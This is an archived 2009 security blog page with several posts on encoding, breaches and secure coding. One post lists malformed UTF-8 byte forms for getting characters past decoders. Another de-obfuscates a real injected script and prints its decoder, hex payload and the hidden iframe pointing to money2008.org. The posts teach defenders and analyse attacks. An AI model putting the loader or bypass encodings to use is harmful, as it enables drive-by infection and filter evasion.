Friday, January 30, 2009

UTF-8 Characters to Watch Out For

Let's say your target application makes a decision using some string you control, and you'd like it to do something more interesting than the developer meant it to do. You know the application processes UTF-8, and you know UTF-8 decoders are notorious for implementation-specific behavior. Now what?

The first thing you need is the Unicode code point that corresponds to the character you want to use. It consists of 4-6 hex digits and usually looks like U+HHHH, or maybe U+HHHHHH. Your mission is to create a UTF-8-like string of bytes that, when decoded, will result in this code point.

In theory, there is only one such string of bits, which you would create using the algorithm in RFC 3629 (or more likely, by using a Unicode library). To borrow from the RFC, this string of bytes looks like this:

Character number range (hexadecimal)

Significant Bits

UTF-8 octet sequence (binary)

0000 0000-0000 007F

up to 7

0xxxxxxx

0000 0080-0000 07FF

8-11

110xxxxx 10xxxxxx

0000 0800-0000 FFFF

12-16

1110xxxx 10xxxxxx 10xxxxxx

0001 0000-0010 FFFF

17-21

11110xxx 10xxxxxx 10xxxxxx 10xxxxxx


Basically, the number of leading 1s at the beginning of the first byte indicates how many total bytes are used to represent this character, and the bits in the character are filled into the positions marked x, from least to most significant.

In practice, several other representations might also work, depending on the exact decoding algorithm your target uses:
  1. The alternative 1-byte representation.
  2. Overlong (but otherwise legal) representations.
  3. Really overlong representations.
  4. Alternative succeeding byte representations.

Alternative 1-Byte Representation

The alternative 1-byte representation looks like this:

Character number range (hexadecimal)

Significant Bits

UTF-8 octet sequence (binary)

0000 0000-0000 003F

up to 6

10xxxxxx


This representation is illegal; in legal UTF-8, such a byte (beginning with the bits 10) can only appear as the second or following byte in a multi-byte sequence. But maybe the decoder assumes a new character begins here, and then counts the number of leading 1s (1) to decide how many total bytes this character takes. This leaves you with only 6 bits of actual data, so it will only work on code points U+0000-U+003F. This does not include the alphabet, but does include interesting tidbits like NUL, CR, LF, <, >, and several forms of quotes.

Overlong Representations

To get overlong representations, ignore the character number range column in the original conversion table and use all the octet sequences that have enough least significant bits to hold the character you want:

Character number range (hexadecimal)

Significant Bits

UTF-8 octet sequence (binary)

0000 0000-0000 007F

up to 7

0xxxxxxx

110xxxxx 10xxxxxx

1110xxxx 10xxxxxx 10xxxxxx

11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

0000 0080-0000 07FF

8-11

110xxxxx 10xxxxxx

1110xxxx 10xxxxxx 10xxxxxx

11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

0000 0800-0000 FFFF

12-16

1110xxxx 10xxxxxx 10xxxxxx

11110xxx 10xxxxxx 10xxxxxx 10xxxxxx


These representations would be legal except that UTF-8 specifically disallows overlong representations. But maybe the decoder is mindlessly copying the significant bits, not examining the bits for pesky details like legality.

Really Overlong Representations

Why stop at 4 bytes? Continue the pattern with more bytes:

Character number range (hexadecimal)

Significant Bits

UTF-8 octet sequence (binary)

0000 0000-
0010 FFFF

up to 21

111110nn 10nnnxxx 10xxxxxx 10xxxxxx 10xxxxxx

1111110n 10nnnnnn 10nnnxxx 10xxxxxx 10xxxxxx 10xxxxxx

11111110 10nnnnnn 10nnnnnn 10nnnxxx 10xxxxxx 10xxxxxx 10xxxxxx

...


These representations are illegal; legal UTF-8 is at most 4 bytes long and contains at most 21 bits of data. But maybe the decoder will mindlessly decode one byte for each leading 1 in the first byte and perhaps even write those extra ns back over preceding bits in the result string, or whatever else happens to precede this character in memory.

Alternative Succeeding Byte Representations

To get an alternative succeeding byte representation, just replace the first 2 bits of the second & following bytes (which are supposed to be 10):

Character number range (hexadecimal)

Significant Bits

UTF-8 octet sequence (binary)

0000 0080-0000 07FF

8-11

110xxxxx 00xxxxxx

110xxxxx 01xxxxxx

110xxxxx 11xxxxxx

0000 0800-0000 FFFF

12-16

1110xxxx 00xxxxxx 00xxxxxx

1110xxxx 00xxxxxx 01xxxxxx

1110xxxx 00xxxxxx 11xxxxxx

1110xxxx 01xxxxxx 00xxxxxx

1110xxxx 01xxxxxx 01xxxxxx

1110xxxx 01xxxxxx 11xxxxxx

1110xxxx 11xxxxxx 00xxxxxx

1110xxxx 11xxxxxx 01xxxxxx

1110xxxx 11xxxxxx 11xxxxxx

0001 0000-0010 FFFF

17-21

11110xxx 00xxxxxx 00xxxxxx 00xxxxxx

11110xxx 00xxxxxx 01xxxxxx 00xxxxxx

11110xxx 00xxxxxx 11xxxxxx 00xxxxxx

11110xxx 01xxxxxx 00xxxxxx 00xxxxxx

11110xxx 01xxxxxx 01xxxxxx 00xxxxxx

11110xxx 01xxxxxx 11xxxxxx 00xxxxxx

11110xxx 11xxxxxx 00xxxxxx 00xxxxxx

11110xxx 11xxxxxx 01xxxxxx 00xxxxxx

11110xxx 11xxxxxx 11xxxxxx 00xxxxxx

11110xxx 00xxxxxx 00xxxxxx 01xxxxxx

11110xxx 00xxxxxx 01xxxxxx 01xxxxxx

11110xxx 00xxxxxx 11xxxxxx 01xxxxxx

11110xxx 01xxxxxx 00xxxxxx 01xxxxxx

11110xxx 01xxxxxx 01xxxxxx 01xxxxxx

11110xxx 01xxxxxx 11xxxxxx 01xxxxxx

11110xxx 11xxxxxx 00xxxxxx 01xxxxxx

11110xxx 11xxxxxx 01xxxxxx 01xxxxxx

11110xxx 11xxxxxx 11xxxxxx 01xxxxxx

11110xxx 00xxxxxx 00xxxxxx 11xxxxxx

11110xxx 00xxxxxx 01xxxxxx 11xxxxxx

11110xxx 00xxxxxx 11xxxxxx 11xxxxxx

11110xxx 01xxxxxx 00xxxxxx 11xxxxxx

11110xxx 01xxxxxx 01xxxxxx 11xxxxxx

11110xxx 01xxxxxx 11xxxxxx 11xxxxxx

11110xxx 11xxxxxx 00xxxxxx 11xxxxxx

11110xxx 11xxxxxx 01xxxxxx 11xxxxxx

11110xxx 11xxxxxx 11xxxxxx 11xxxxxx


As you can see, there are a lot of combinations (and of course you'll want to try this technique on the overlong representations as well). These representations are illegal; every succeeding byte in a multi-byte representation must start with the bits 10. But maybe the decoder knows where a character starts and just unpacks the significant bits from each succeeding byte without checking the first 2 bits.

Have fun identifying applications that don't follow the character encoding rules of thumb, and don't get into trouble!

--Brenda

(If you're looking for more do-it-yourself entertainment along these lines, you might want to check out ligatures, surrogate pairs and astral planes, try representing code points that are out-of-range for UTF-8 using really overlong representations, or figure out how to design UTF-8 strings that decode differently depending whether the decoder is moving backwards or forwards in the string.)

Thursday, January 29, 2009

What did you do on Data Privacy Day?

January 28th is officially international Data Privacy Day. Apparently this was established in 2008 to raise awareness for data privacy issues, provide education (particularly to teenagers) regarding data privacy concerns, etc. Did you even know about it? Don't worry, neither did I. Maybe we need an awareness campaign to educate people that there is an awareness campaign to educate people (heh). Intel has some various online links and material related to the happenings of Data Privacy Day.

Anyways, while educating users to not hand out their personal details is a good thing, the bulk of concerning data privacy breaches have been largely caused by large corporations mishandling user data. Whether it's
AOL, Choicepoint, or Heartland, educating a user to keep their data private is irrelevant if a 'trusted' third-party data keeper is just going to expose it on their behalf. Thus I'm not sure why we are trumpeting to solve privacy at the end user level with new 'privacy enhancing technologies' (PETs) when bigger data privacy and exposure problems exist upstream. P3P headers, anonymizers, and cookie removers are not going to affect things like the Veteran Affairs leak from happening. Even if I'm tight-lipped about my personal details, my service provider might not be. Or the person my service provider outsources to might not be. Or the person that person outsources to might not be. You get the point.

I'm sure there are some in the crowd that are thinking "PCI will help with data privacy exposure issues in third-parties." Well, kind of. Just look at
Heartland--they were PCI-compliant. Which brings to an interesting point: compliance != security. PCI can potentially ferret out gross negligence, but catching all the low-hanging fruit doesn't prevent someone from going a little higher up the tree. Especially if they are hungry.

Until next time,
- Jeff

Wednesday, January 28, 2009

Stepping Through JavaScript Obfuscation

I've been noticing an increasing number of attacks whereby malicious IFRAMEs are injected into the pages of otherwise reputable sites. While such activity is often very obvious as you can spot an IFRAME right before the closing tag, attackers with a little more skill generally attempt to obfuscate the injected code. Depending upon the level of creativity, JavaScript obfuscation may barely be noticeable as code at all and researchers often shy away from de-obfuscating it. The reality is that JavaScript runs within your browser, so you can always figure out what it's doing, it just takes a little extra effort. Now you can generally streamline the process by employing tools such as a JavaScript debugger or by inspecting web traffic, but I'd like to take the old fashioned approach of understanding the code to illustrate that obfuscation is generally not as challenging as it may first appear.

When reviewing our weblogs recently I came across a perfect example of the aforementioned scenario. The Virginia Jyothi Institute of Management website appears to be a perfectly reputable site...except for an interesting snippet of JavaScript at the bottom of the page.

Obfuscated JavaScript:


function C7D36720260A79BEECF3B8D6D(C78D9ED077610F5E11)
{function E69961B4A47426004A21A064DA3(){return 16;}
return(parseInt(C78D9ED077610F5E11,E69961B4A47426004A21A064DA3()));}
function DB47FCE800845F2179C(D89D6EB726D3262DEA5){function
CF7A2398A7A3B02EEF51A624DC28F2(){return 2;}var B0A173316D010072="";
for(D6BE4D56711AC9FE592=0;D6BE4D56711AC9FE592


Ouch! That's ugly. At first glance it looks like a jumble of random numbers with a sprinkling of English. However, upon further inspection you can clearly see JavaScript functions (e.g. String.fromCharCode()) and basic syntax, such as a for loop. In reality, it's not really ugly at all, but like a freshman dorm room, it does need a little cleanup. Let's do three things:

1.) Replace function/variable names - You'll notice that the seemingly random numbers are strings that show up more than once. That's because they're not random at all, they're just function and variable names that aren't particularly easy on the eyes. Start by replacing these painful names with simple letters.

2.) Add white space - obfuscation generally involves removing white space and cramming everything together, so add it back. Follow they JavaScript syntax but expand it to a common format that you're comfortable with.

3.) Rearrange - So long as you don't change the logic flow, move things around, once again, to an arrangement that is more comfortable.

Once we make these changes, we have much more manageable code. As they say, let's put some lipstick on that pig...

The same function cleaned up:


D("3C696672616D65207372633D22687474703A2F2F6D6F6E6579
323030382E6F72672F746D702F222077696474683D31206865696
768743D31207374796C653D227669736962696C6974793A686964
64656E3B706F736974696F6E3A6162736F6C757465223E3C2F696
672616D653E");


function A(B)
{
  function C()
  {
    return 16;
  }
  return(parseInt(B,C()));
}

function D(F)
{
  function G()
  {
    return 2;
  }
  var H="";
  for(E=0;E
  {
    H+=(String.fromCharCode(A(F.substr(E,G()))));
  }
  document.write(H);
}

Wow, what a huge improvement. Now that's something that I can deal with. It still may seem a bit verbose for what it's trying to accomplish, but let's walk through it one step at a time.
  1. We start of by sending a large string of data to D().
  2. Within D(), let's look at the for loop. It's iterating over the data two characters at a time (G() returns 2).
  3. Each pair of characters are sent to A() where they are converted from base 16, which tells us that they're hexadecimal values.
  4. Once converted, the integers are then fed to String.fromCharCode(), which is essentially an automated ASCII table, converting decimal values to letters.
  5. The entire string is iterated over until each hexadecimal pair is converted to a letter.
When done, the converted string is revealed:

<iframe src="http://money2008.org/tmp/" style="visibility: hidden; position: absolute;" height="1" width="1"></iframe>

Now there are many easier ways to come to the same conclusion. You could walk through the JavasScript using a debugger or in this case, once you realized that the seemingly random string was likely a hexadecimal encoding, just run it through an ASCII to Hex converter. However, hopefully this walk through has shed light on the fact that JavaScript obfuscation, while one more step in the process, isn't generally much of a hurdle to overcome.

- michael

Friday, January 23, 2009

EV-SSL's reported successes, maybe

In a previous post I included a blurb mentioning that Verisign reported 7000 EV-SSL certificates were issued in the past two years, which seems fairly low. Recently I was referred to a spot on Verisign’s website where they keep their SSL case studies. Many of their more recently posted studies indicate the positive benefit/increased conversions brought about by using EV-SSL certificates. In other words, switching from standard SSL to EV-SSL certs lead to more sales, all because of customer confidence in seeing the 'green bar'.

For some reason, a mental warning alarm was going off in the back of my head. So I decided to dig deeper into the case studies to see how they actually tested things. After all, a flawed test methodology results in questionable results. I'm a bit of
a stickler when it comes to having a solid, repeatable methodology for testing stuff.

In an ideal world, these case studies would have been conducted by subjecting half of their web clients to a standard SSL certificate, and the other half to an EV-SSL certificate. Easier said than done, but I suppose it's possible if you had a web server farm where half of the servers had the EV-SSL cert loaded and the other half didn't, and you used a network load balancer in front of everything to persistently keep the same client/source IP address connection mapped to the same server in the farm. You couldn't use an application level load balancer because that would require terminating the SSL to see the application-layer data, and you wouldn't know to terminate with EV-SSL vs. standard SSL. A completely wrong methodology would be see how many sales you got using the standard SSL certificate, then see how many you got after you upgraded to EV-SSL, and attribute the change to just the EV-SSL certificate. There are too many other factors that could affect a change in sales, such as a slow-down in the economy, a wave of released stimulus checks, a newly-launched advertising campaign, etc.

So how did they test? In the
few case studies I read, they simply separated traffic into EV-SSL capable browsers (Internet Explorer 7, Firefox 3) vs. non-EV-SSL capable browsers (Internet Explorer 6, Firefox 2). The idea is that the non-EV-SSL browsers were not showing the green bar, while the EV-SSL browsers were. Then they measured the conversion rate of these two groups, and of course, the EV-SSL browser group had higher conversions. So it must have been the green bar. Or was it?

The core problem with this approach is that the population representation is skewed. The methodology assumes that users of IE7 are no different than users of IE6, which is not the case. The web development community is already
largely aware that a significant portion of the remaining IE6 hold-outs (i.e. those who have not upgraded to IE7) are actually corporate users that are running on systems that are not allowed to be upgraded. Think about it: a notable number of home users will leverage Window's standard automatic update feature, and that would have updated them to IE7 long ago. Corporate environments, on the other hand, control the updates and look to have consistent version deployments across desktops. Further, they have a significant investment in web applications tailored to work with IE6 (which has been out for 7 years now...so that's 7 years of web apps that were made just for it); if the choice is to update all internal web apps to work with IE7, or just keep the corporate desktops at IE6, well, the fiscal choice is obvious.

Thus let's frame this scenario a bit differently: given visitors to a non-business-centric retail shopping web site, who is more likely to buy something...people shopping from their home computer, or people shopping from their work computer? Would you normally be tempted to buy a new pair of shoes online using your corporate workstation on your lunch break? Would you perhaps search a little to figure out what you wanted (which seems like an innocent-enough use of the corporate network), and then finish the transaction (i.e. officially make the purchase) later that evening when you got home?

Therefore my biggest complaint about the EV-SSL testing methodology that these case studies use is that the non-EV-SSL browser group (particularly IE6 users) will statistically have more coming-from-their-corporate-workstation users in it, and I'm not convinced that such users are identical to other users in regards to their immediate willingness to make personal retail or pharmaceutical purchases. Personally, I would expect those corporate users to be less-likely to lead to an immediate retail conversion. And that's what the EV-SSL case studies all seem to say/support...but they attribute that phenomenon to the presence or absence of the EV-SSL certificate.

So does that mean EV-SSL is responsible for the higher conversion rate? Not necessarily. Does it mean it's not responsible? Well, not necessarily. To know for sure, all other variables must be approximately equal...and in these situations, there are too many differing factors between the two groups to know in particular which factor is having the most impact. To help put things in perspective, it would be nice to see the same metrics (i.e. conversion rates for IE7 vs IE6 users) reported for sizable retail sites that are not using EV-SSL certificates. I have a hunch that, even without EV-SSL, those sites will still see slightly higher conversion rates for IE7 users compared to IE6 users.

Until next time,
- Jeff

Thursday, January 22, 2009

Character Encoding Rules of %54%68%75%6D%62

Most software engineers are aware that there are some Security Issues that have something to do with character encoding (can you see the ceremonial waving of hands?). In a nutshell, the issues stem from the fact that people want software to make decisions based on strings of characters (e.g. when the password matches, let the user log on; allow anonymous FTP when the path to the requested file is in one of these directories; disallow these HTML tags in blog posts), but computers think in bits. When there is a single, well-defined bi-directional mapping (aka encoding in the character set sense) between characters and their bit representations, there's no problem. But when there are multiple character sets to choose from (which is definitely true here in the Internet age), the same string of bits could mean several different strings of characters and vice versa. The same string might even be a different size (in bytes, characters, or both) in different encodings. Therefore, bits that don't match could represent characters that do, or vice versa, and unless the programmer took precautions, the software is going to make the wrong decision some of the time.

Let's be the good guy first. What precautions should we take?

1. As Joel Spolsky succinctly puts it, "It does not make sense to have a string without knowing what encoding it uses." Know the encoding each string uses, including endianness if applicable.
2. Ensure each string is legal in its encoding. When you convert from one encoding to another, do this twice, once before conversion (to avoid confusing the conversion algorithm) and once after (to avoid confusing the string consumer).
3. Convert strings to the same canonical encoding before comparison. Canonical may be more restrictive than legal.
4. Take encoding into account when you calculate string length or string or character sizes, use regular expressions, access the nth character in a string or otherwise manipulate strings and characters.

Sound simple? Great, because I left out this one itsy bitsy teeny weeny little detail: character escaping. Character escaping (like the percent-encoding used in URIs) is another kind of encoding which is usually used to separate the control and data channel in a mixed communication medium. Unlike the character set encodings (like UTF-8) discussed above, for which one character set per string is the limit, character escaping can nest and also cover only parts of the string. For example, we could have a HTML document encoded in UTF-8, and it could contain a URI (with the appropriate portions percent encoded) which has been base64 encoded and stashed in a hidden form field. All the same precautions apply, but to be safe (or for that matter correct), we need to rephrase precaution #1 and add a couple more.

1. Know all the encodings each string uses (or should use), including endianness if applicable, and the order in which they were (or should be) applied.
5. Change character set encoding whenever you like, but decode character escapes in the reverse order encodings were applied.
6. Extract the string to be decoded from the surrounding context before unescaping characters (lest you mix the control and data channel).

In our example, to get the original URI components back, we would need to grab the value of the form field, decode it using base64, then extract each URI component and separately percent-unescape it.

Is that all? No such luck! Unless you make a habit of talking to yourself, the strings you're manipulating are either coming from somewhere else or going somewhere else. Perhaps they are destined for a human, via some display mechanism. Our precautions to this point cover computers, which distinguish characters by comparing bits, but humans distinguish characters based on appearance. Some character sets (including all flavors of Unicode) contain more than one character with the same or very similar glyph. So, we need another precaution:

7. Display different characters using dissimilar glyphs.

On the other hand, perhaps the other party to your communication is another computer. In this situation, rule of thumb #1 effectively means you know what character set & character escaping the other party is using. Or at least what character set they say they are using. Or what character set they are supposed to be using. Or what character set it seems like they are using, based on the bits in the string and the information you expect it to contain.

This bring us neatly to our attacker (and to the end of the precautions a good guy ought to take), so next week, let's switch hats and be evil for a change.

--Brenda

Heartland Payment Systems Joins A Crowded Club

This week Heartland Payment Systems confessed to what may ultimately be the largest data breach ever, with some suggesting that as many as 100 million credit cards have been exposed. This makes the 2007 TJ Maxx breach of 45 million debit and credit cards look fairly reasonable. To make matters worse for Heartland, their PR department apparently felt they they could sweep the item under the rug with some shameless tactics such as announcing the breach on inauguration day and registering the domain name 2008breach.com to discuss the matter. The latter appears to be an effort to distance the information from the Heartland corporate name and make it appear to be a dated issue.

What frightens me about such issues is not the earth shattering numbers that make the headlines for a single breach but the fact that for every Heartland, there are hundreds if not thousands of data breaches that go relatively unnoticed. In a past role, I was involved in a customer round table to discuss security, which attracted CISOs from a variety of large companies. During a discussion on data loss, talk turned to unintentional loses such as 'losing a tape off the back of the truck'. A CISO from a major financial institution shook his head and said "if only you knew how common that is". I have no doubt that he was being frighteningly honest with that statement and in a world where access to a few simple details such as my SSN could ruin me financially, that is truly a sobering thought.

The Open Security Foundation does an excellent job of trying to ensure that data breaches don't go unnoticed, by maintaining the Data Loss DB. It is a well maintained, detailed, open source collection of data and statistics regarding data loss dating back to 2000. When Heartland came forward, I decided to look back at the past year to see just how severe a problem this has become.
  • The Data Loss DB contains records for 479 incidents of data loss during 2008
  • Records exist to suggest that at least 83,350,024 accounts were affected in 2008, however, estimates of the numbers of accounts affected were not available for 26% of incidents, so the actual number is higher
  • Stolen laptops accounted for the majority of the data loss at 20% of all incidents, while hacks of some description accounted for 17% of incidents and web specific hacks were responsible for 14% of the results
  • Social Security Numbers were lost in one third of all attacks last year
Besides being thoroughly depressing, these statistics should teach us a few things. First and foremost, while the Heartlands of the world will capture the headlines, they represent only the tip of the iceberg in terms of the loses that occur every day. Moreover, data loss occurs in a multitude of ways, both through direct attacks and carelessness on the part of employees. The important thing is that companies have both preventive and detective controls in place to ensure that such incidents are stopped in the first place but also identified when they do occur. If you wait to see your company in the headlines and you're in charge of enterprise security, two things are certain - like Kato Kaelin, you'll be famous and unemployed.

- michael

[Charts courtesy of the Open Security Foundation]

Monday, January 19, 2009

SANS/CWE Top 25 Programming Errors

Recently Mitre and SANS teamed up to produce a list of the top 25 security errors that programmers should focus on. The errors were selected from the Common Weakness Enumeration (CWE) collection, which looks to enumerate all the different ways a piece of software can create a security vulnerability. For those familiar with CVE (Common Vulnerabilities and Exposures), the difference between CVE and CWE is the former tracks point instances of vulnerabilities in specific applications, while the latter tracks the different ways a vulnerability can manifest in any arbitrary application.

The list does cover the gamut of heavy-hitting vulnerability types that traditionally plague applications (SQL injection, XSS, command injection, buffer overflows, file name manipulation, sending data in the clear or with weak crypto, etc.), but nothing on it is particularly earth-shattering. I always chuckle to myself when I see entries like CWE-20 (Improper input validation) and CWE-116 (Improper output validation) as they are a bit of a catch-all and, from some viewpoints, subsume all of the more specific input/output validation errors such as SQL injection, XSS, etc. A programming shop that validated all of their incoming data would likely be able to cross multiple items off the list...but it's actually a fairly tall task. I've dealt with many application audits and security code reviews in my past, and I've never encountered a programming shop who felt it was realistic to go back and audit/adjust all inputs for validation on a moderate sized app (or larger). These large applications—many being web-based—sourced data from too many places to feasibly and accurately account for them all. Which goes along with something me and many other security professionals have always said: it is easier to design security in, rather than retrofit it after-the-fact. Having and mandating the use of a core set of available global validation functions will (hopefully) keep programmers tagging inputs with a base level of validation as the application grows and sprawls. Once a large application is written, trying to find and evaluate all inputs is like trying to find needles in a haystack. In my experience, most organizations change tactics at that point and look to just ensure they are not vulnerable to specific errors. In other words, rather than ensure all inputs are validated, they will instead just review the areas around their SQL calls to ensure there are no SQL injection issues. This essentially employs validation at 'time of use' rather than 'time of reception.' On the surface this seems like a good strategy--after all, there are likely few times of use for any given input that could result in a security vulnerability. But the long-term problem with his approach is that it creates a patchwork effect where validation is not done consistently. If input validation is done at point A (immediately up receiving), then all subsequent uses of that data (i.e. points B, C, and D) are in the clear. But if you instead employ validation at point D (i.e. time of use), then you're OK for now...until a programmer decides to branch C to call point E. At that point, E will inherit dirty data, but the programmer might not suspect it because they were mentally complacent with the idea that the data was previously clean at point D. Any direct or derived uses of the data at points A, B, C will still be susceptible to vulnerability.

But input validation aside, let's look at the list as a whole. It's meant for application developers, and addresses programming issues. These are definitely worth fixing, but at the same time, they can only go so far; in particular, this list does not address operational security issues. Here are some examples of security incidents that the list would not address:



Overall the CWE/SANS list effort is good, because everyone could definitely benefit from a higher level of security in application software. But a look at the recent high-profile security incidents shows that humans are still a very real and very weak link in the security chain. So it's important to keep the list in perspective; even if you tackle all 25 items on the list, you may still be exposed by weak operational practices, user oversights, or what would have been item 26 on the list. It is worth noting that SANS also has a broader Top 20 Security Risks list, which does encompass a lot of operational security issues.
Update: also check out the How to suck at Information Security list, also posted at SANS.

- Jeff